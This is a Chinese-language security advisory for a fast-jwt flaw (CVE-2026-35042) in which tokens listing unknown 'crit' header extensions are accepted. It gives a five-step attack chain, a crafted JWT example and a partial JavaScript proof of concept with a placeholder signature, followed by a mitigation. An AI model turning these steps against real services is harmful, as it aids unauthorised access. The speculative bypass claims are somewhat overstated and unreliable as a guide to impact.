IPBUF安全漏洞报告
English
CVE-2026-35042 CVSS 7.5 高危

CVE-2026-35042 fast-jwt关键头部参数验证绕过漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-35042
漏洞类型
验证绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
fast-jwt

相关标签

JWT验证绕过fast-jwt逻辑漏洞CVE-2026-35042

漏洞概述

fast-jwt是一个快速的JWT实现库。在6.1.0及更早版本中,该库未能正确验证RFC 7515定义的'crit'(关键)头部参数。当JWS令牌包含一个列出未知扩展的crit数组时,fast-jwt错误地接受了该令牌,而非按RFC要求拒绝。这违反了安全规范,可能导致攻击者利用未验证的头部参数绕过安全检查,破坏令牌完整性。

技术细节

该漏洞源于fast-jwt在处理JWS(JSON Web Signature)令牌时,未能正确执行RFC 7515 §4.1.11节关于'crit'(Critical)头部参数的强制性验证逻辑。根据规范,'crit'头部参数用于指示令牌中包含的关键扩展,接收方必须能够识别并处理这些扩展,否则必须拒绝该令牌。在受影响版本中,fast-jwt在解析包含'crit'数组的JWS令牌时,仅验证了签名本身的正确性,却忽略了检查'crit'数组中列出的参数是否被库支持。攻击者可利用此缺陷,在JWT头部注入恶意的扩展参数(例如绕过算法混淆检查或修改密钥ID),由于库未按规范拒绝处理,攻击者可能诱导应用程序接受包含无效或恶意声明的令牌,从而破坏系统的完整性并绕过身份验证机制。

攻击链分析

STEP 1
侦察
攻击者确认目标应用程序使用了 fast-jwt 库(版本 <= 6.1.0)来解析和验证 JWT 令牌。
STEP 2
漏洞利用准备
攻击者构造一个恶意的 JWT 令牌,在 Header 中添加 'crit' 字段,并列出一个该库不支持或不理解的扩展参数(例如 'http://attacker.com/exploit')。同时,攻击者使用已知的密钥或利用弱签名算法对该令牌进行签名,以确保签名验证通过。
STEP 3
发送恶意请求
攻击者将包含恶意构造的 JWT 令牌发送给目标服务器的验证接口。
STEP 4
验证绕过
目标服务器使用存在漏洞的 fast-jwt 库验证令牌。库只检查了签名的有效性,但忽略了 RFC 要求的 'crit' 字段检查,错误地接受了包含未知关键扩展的令牌。
STEP 5
达成攻击效果
应用程序信任了该令牌,可能允许攻击者绕过某些基于 Header 参数的安全策略,或者破坏了令牌的完整性保证,导致未授权访问或逻辑漏洞利用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-35042: fast-jwt 'crit' header validation bypass // This script demonstrates that a token with an unknown critical extension is accepted. const fastjwt = require('fast-jwt'); const secret = 'secret-key'; // 1. Create a verifier instance (Vulnerable version <= 6.1.0) const verifier = fastjwt.createVerifier({ key: secret }); // 2. Construct a malicious token header with 'crit' pointing to an unknown parameter // Header: { "alg": "HS256", "crit": ["http://example.com/unknown_extension"] } // Note: In a real attack, the attacker must sign this header with a valid key known to the server. // This PoC assumes the attacker can generate a valid signature for the crafted header. // Example of a crafted token structure (Base64URL encoded) // Header part: eyJhbGciOiJIUzI1NiIsImNyaXQiOlsiaHR0cDovL2V4YW1wbGUuY29tL3Vua25vd25fZXh0ZW5zaW9uIl19 // Payload part: eyJ1c2VyIjoiYWRtaW4ifQ // Signature: [Valid HMAC-SHA256 of header.payload] // For demonstration, we simulate the verification logic bypass: const maliciousToken = 'eyJhbGciOiJIUzI1NiIsImNyaXQiOlsiaHR0cDovL2V4YW1wbGUuY29tL3Vua25vd25fZXh0ZW5zaW9uIl19.eyJ1c2VyIjoiYWRtaW4ifQ.' + 'signature_valid_for_this_structure'; // Attacker needs to compute this try { // In a vulnerable environment, if the signature is valid, this passes. // It SHOULD throw an error because the 'crit' parameter is unknown. const decoded = verifier(maliciousToken); console.log("[!] Vulnerability Detected: Token accepted despite unknown crit header."); } catch (error) { console.log("[+] Secure: Token rejected as expected."); }

影响范围

fast-jwt <= 6.1.0

防御指南

临时缓解措施
如果无法立即升级,建议在业务逻辑层手动解析 JWT 头部,检查是否存在 'crit' 字段,并验证其中列出的参数是否为应用程序所支持。如果包含未知参数,应强制拒绝该令牌,以符合 RFC 7515 的安全标准。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表